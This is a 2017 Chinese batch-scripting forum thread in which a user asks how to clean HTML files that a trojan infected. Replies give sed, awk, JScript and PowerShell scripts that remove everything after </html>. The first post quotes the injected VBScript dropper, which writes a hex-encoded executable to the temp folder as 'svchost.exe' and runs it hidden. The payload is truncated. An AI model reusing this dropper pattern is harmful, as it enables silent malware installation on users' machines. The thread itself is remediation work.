
标题: [文件操作] 如何用批处理批量删除HTML文件的特定内容 [打印本页]
作者: jwentang 时间: 2017-1-7 14:45 标题: 如何用批处理批量删除HTML文件的特定内容
本帖最后由 pcl_test 于 2017-1-9 10:10 编辑
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件,我已单独保存出来了。现在就想通过一个批处理命令来把所有被篡改的文件改回来,这些被感染文件都是需要的,不能被删除,- <html>
- <head>
- </head>
- <body>
- ……
- </body>
- </html>
- <SCRIPT Language=VBScript><!--
- DropFileName = "svchost.exe"
- WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000008800000009DAF5C5C824EA25F0055C7EB55610FA4A9327840AEBC01BDC2284CB0C4F05B10EEBFE04A2BF7B2B5B9638…………73672393BE289A7D6A15B9C117D0F4BC102F4EE60C0000000000000000000000000000000000000000000000000000000000000000000"
- Set FSO = CreateObject("Scripting.FileSystemObject")
- DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
- If FSO.FileExists(DropPath)=False Then
- Set FileObj = FSO.CreateTextFile(DropPath, True)
- For i = 1 To Len(WriteData) Step 2
- FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
- Next
- FileObj.Close
- End If
- Set WSHshell = CreateObject("WScript.Shell")
- WSHshell.Run DropPath, 0
- //--></SCRIPT><!--??懔?図妽譨_9鯥歍x<+5皈┵sPq"古啭e"黳y6еR跤郙傩?啢?c皥昆y??瓗-k-?啍跪o玽9䅟V鑰芮.道Q趌幼d~?sk"扷X紃憴?A鈂檷炶?浏 撍M}瓖_砢~岭_'椬?V??栜T'?; ki(1w?Jm牯廫\|+r劗穌纏?2騉M≥]@瘜b
- NWA%菐%j毐N?/蹧?蕆3縁
复制代码
作者: jwentang 时间: 2017-1-7 14:47
郁闷,附件添加不了
作者: jwentang 时间: 2017-1-7 14:52
以上的内容就是html文件中被添加的内容,现在需要把它们删除
作者: Batcher 时间: 2017-1-7 15:43
回复 2# jwentang
把你的网页html文件压缩一下再上传试试呢
作者: jwentang 时间: 2017-1-7 17:22
回复 8# Batcher
压缩文件也上传不了,文件上传的时候正常,也能提示上传完成,但一确定之后就没有了
作者: jwentang 时间: 2017-1-7 17:30
回复 8# Batcher
没有办法,只能上传到百度云盘了
链接: http://pan.baidu.com/s/1eSzaDjW 密码: b9aj
作者: hlzj88 时间: 2017-1-7 18:08
本帖最后由 hlzj88 于 2017-1-7 19:54 编辑
思路不复杂,用sed断行后输出关键词行前的所有行- @echo off
- for /f %%g in ('dir /b/on *.htm*') do (
- move /y %%g %%~ng.txt
- sed -i "s/<\/html>/<\/html>\n/g" "%%~ng.txt"
- sed -n "1,/<\/html>/p" "%%~ng.txt">>"%%g"
- del /q %%~ng.txt
- )
- pause
复制代码
sed.exe 在http://www.bathome.net/s/tool/index.html里搜索下载
作者: win.BAT 时间: 2017-1-7 19:18
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>标签之后被加上了一段代码,代码具体内容见附件- awk 'BEGIN{FS="</html>";OFS="</html>"}{$NF="";print}' file
复制代码
电脑中了木码,导致硬盘上面所有以*.html和*.htm文件结尾的文件,在文件</html>
作者: yu2n 时间: 2017-1-7 21:29
将以下代码以 Unicode 编码保存为 FixHtmlVirus.js 后,双击文件图标运行。
注意:使用前,请备份原文件。- //name: FixHtmlVirus.js
- //js codepage:ule
- //fix html codepage:utf-8
-
- main();
- function main()
- {
- FixHtmlVirus();
- };
-
-
- //修复病毒感染的Html文件
- function FixHtmlVirus()
- {
- var sInfo = '';
- var sFolder = BrowseForFolder("请选择要修复的HTML文件夹(注意自行备份文件!):"); //获取用户选择的文件夹
- if (sFolder == '')
- {
- WScript.Echo('提示:没有选择文件夹,程序退出。');
- return 0;
- }
- var aFile = ScanFolder(sFolder); //获取文件夹所有文件夹、文件列表
- for (var i=0; i<aFile.length; i++)
- {
- if (/^(.+)(\.html)$/i.test(aFile[i])) //过滤其他文件,只操作 *.html 文件
- {
- var html = ReadText(aFile[i]), html2 = ''; //以 utf-8 编码读取 .html 文件
- var aHtml = html.split('\r\n'); //将读取的内容按行(\r\n)拆分成数组
- var sEnd = '', sVir = '';
- for (var j=0; j<aHtml.length; j++)
- {
- if (aHtml[j].toLowerCase().indexOf('</html>') != -1) // .html 文件尾部标记
- {
- aHtml[j] = aHtml[j].substr(0,2000); //限制长度,提高正则速度
- sEnd = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$1'); //提取末行内容
- sVir = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$2'); //提取部分病毒内容
- aHtml[j] = sEnd; //修正末行内容
- };
- html2 += aHtml[j] + '\r\n'; //将修正后的内容提交到 html2
- if (sEnd != '') //结束行
- {
- if (sVir != '' || aHtml.length - j > 2) //找到病毒
- {
- SaveText(aFile[i], html2); //保存修正后的内容
- if (sInfo != '') sInfo += '\r\n'; //记录修正的文件路径
- sInfo += aFile[i]; //记录修正的文件路径
- };
- break;
- };
- };
- }
- }
- if (sInfo == '')
- {
- WScript.Echo('提示:没有文件需要修复。');
- } else {
- WScript.Echo('提示:以下文件已被修复:\r\n' + sInfo);
- };
- }
-
-
- //文件夹选择对话框
- function BrowseForFolder(sTips)
- {
- var BIF_returnonlyfsdirs = 0x0001;
- var BIF_editbox= 0x0010;
- var oShell = new ActiveXObject("Shell.Application")
- var oFolder = oShell.BrowseForFolder(0x0, sTips, BIF_editbox + BIF_returnonlyfsdirs)
- if (oFolder==null) {return("")} else {return(oFolder.self.path + '\\')}; //return(oFolder.items().item().path+'\\')
- }
-
-
- // 获取文件夹所有文件夹、文件列表(数组)
- function ScanFolder(strPath)
- {
- if (strPath.substr(strPath.length-1,1) != '\\') {strPath += '\\';}
- var arr=[];
- var DO_SCAN_FOLDER=function(arr,folderSpec)
- {
- try {
- var fso = new ActiveXObject('Scripting.FileSystemObject');
- var oFolder = fso.GetFolder(folderSpec);
- if (oFolder != null){
- var oFiles = new Enumerator(oFolder.files);
- for (; !oFiles.atEnd(); oFiles.moveNext()) arr.push(oFiles.item().path);
- var oSubFolders = new Enumerator(oFolder.subfolders);
- for (; !oSubFolders.atEnd(); oSubFolders.moveNext()) {
- arr.push(oSubFolders.item().path + '\\');
- DO_SCAN_FOLDER(arr, oSubFolders.item());
- }
- }
- }catch(e){};
- }
- arr.push(strPath);
- DO_SCAN_FOLDER(arr,strPath);
- return(arr);
- }
-
-
- // 使用 utf-8 编码读写文本文件
- function ReadText(FileName){ return Pfile(FileName, "utf-8", "ForReading", ""); }
- function SaveText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForWriting", TextString); }
- function SaveWSH(FileName, TextString){ return Pfile(FileName, "Unicode", "ForWriting", TextString); }
- function LogText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForAppending", TextString); }
- function Pfile(FileName, FileCode, strType, TextString){
- var fso = new ActiveXObject("Scripting.FileSystemObject");
- var objStream = new ActiveXObject("ADODB.Stream");
- objStream.Type = 2;
- objStream.Mode = 3;
- objStream.Charset = FileCode; //不同编码时自己换,Chinese (Simplified) (GB2312),中文 GBK ,繁体中文 Big5 ,日文 EUC-JP ,韩文 EUC-KR,charset=UTF-8(国际化编码),ANSI,Unicode,unicode big endian
- if (fso.FileExists(FileName)==true) {
- objStream.Open();
- objStream.LoadFromFile(FileName);
- if (strType=="ForReading") TextString = objStream.ReadText();
- if (strType=="ForAppending") TextString += objStream.ReadText();
- objStream.Close();
- }
- if (strType=="ForWriting" || strType=="ForAppending") {
- objStream.Open();
- objStream.WriteText(TextString);
- objStream.SaveToFile(FileName, 2);
- objStream.Close();
- }
- fso = null;
- objStream = null;
- if (strType=="ForReading"){return(TextString)};
- if (strType=="ForWriting" || strType=="ForAppending"){return(0)};
- }
复制代码
作者: Batcher 时间: 2017-1-7 22:10
回复 5# jwentang
什么浏览器?
作者: jwentang 时间: 2017-1-9 09:04
回复 10# Batcher
这和浏览器没有关系吧,电脑中了木码,导致HTML文件被感染,杀完毒也不行,一旦运行被感染的HTML文件,就又中毒了!杀完毒后还得把所有中木码的html文件中的代码清理掉,感觉只能用批处理来操作!
作者: Batcher 时间: 2017-1-9 09:36
回复 11# jwentang
我的意思是谁为什么别人可以上传压缩文件,但你无法上传,有可能是浏览器的问题。
作者: win.BAT 时间: 2017-1-9 10:03
像现在这样,直接贴出文本就很直观的 大家都能直观看到
作者: jwentang 时间: 2017-1-9 11:06
回复 12# Batcher
报歉,我用的是chrome55,win7 64位的
作者: Batcher 时间: 2017-1-9 11:11
回复 14# jwentang
我用Chrome 55测试没有问题。如果是因为压缩之后的文件仍然很大超过了论坛限制,那建议放到网盘吧。
作者: jwentang 时间: 2017-1-9 12:05
回复 15# Batcher
已经放到网盘了,请看下
作者: jwentang 时间: 2017-1-9 12:06
回复 9# yu2n
谢谢……
但js我本地好像运行不起来
作者: pcl_test 时间: 2017-1-9 12:50
本帖最后由 pcl_test 于 2017-1-9 15:16 编辑
- @echo off
- powershell /? >nul 2>&1||(echo;系统没有自带或未安装powershell&pause&exit)
- powershell ^
- function DelVirusCodes($htmlfile, $encoding){^
- $text=[IO.File]::ReadAllText($htmlfile, [Text.Encoding]::GetEncoding($encoding));^
- if($text -match '[\s\S]+^<\/html^>'){return $matches[0]};^
- }^
- ^<# 指定以哪种编码读写html文件,如utf-8,gbk,gb2312,utf-16等^
- 具体支持的编码可参看https://msdn.microsoft.com/zh-cn/library/system.text.encoding.aspx #^>^
- $cs = 'utf-8';^
- ls . *.htm -r^|%%{^
- write-host ('正在修复'+$_.FullName);^
- [IO.File]::WriteAllText(^
- ($_.DirectoryName+'\New_'+$_.Name),^
- (DelVirusCodes $_.FullName $cs),^
- [Text.Encoding]::GetEncoding($cs))^
- }
- pause
复制代码
作者: jwentang 时间: 2017-1-9 14:25
回复 18# pcl_test
大神啊,运行之后一点反应没有啊,只有命令窗口光标符在闪,这是啥情况?
作者: pcl_test 时间: 2017-1-9 14:40
本帖最后由 pcl_test 于 2017-1-9 15:14 编辑
回复 19# jwentang
已改,新建一个bat文件,复制粘贴代码进去,生成的以New_开头的就是修复的html文件
作者: jwentang 时间: 2017-1-9 17:35
回复 18# pcl_test
拿了几个hmtl文件在桌面测试的时候发现是修改了运行文件当前所在的目录及下级目录,但其他目录下的文件没有被修改,另外,我复制到其他目录下面去执行的时候,就还是命令窗口的光标一直在闪,没有任何提示,是在检索文件比较费时间还是其他什么原因吗?
作者: pcl_test 时间: 2017-1-9 17:53
回复 21# jwentang
只搜索批处理所在目录及其子目录的htm/html文件
作者: jwentang 时间: 2017-1-9 18:05
回复 22# pcl_test
好的,我懂了!谢谢……
欢迎光临 批处理之家 (http://bathome.net./) |
Powered by Discuz! 7.2 |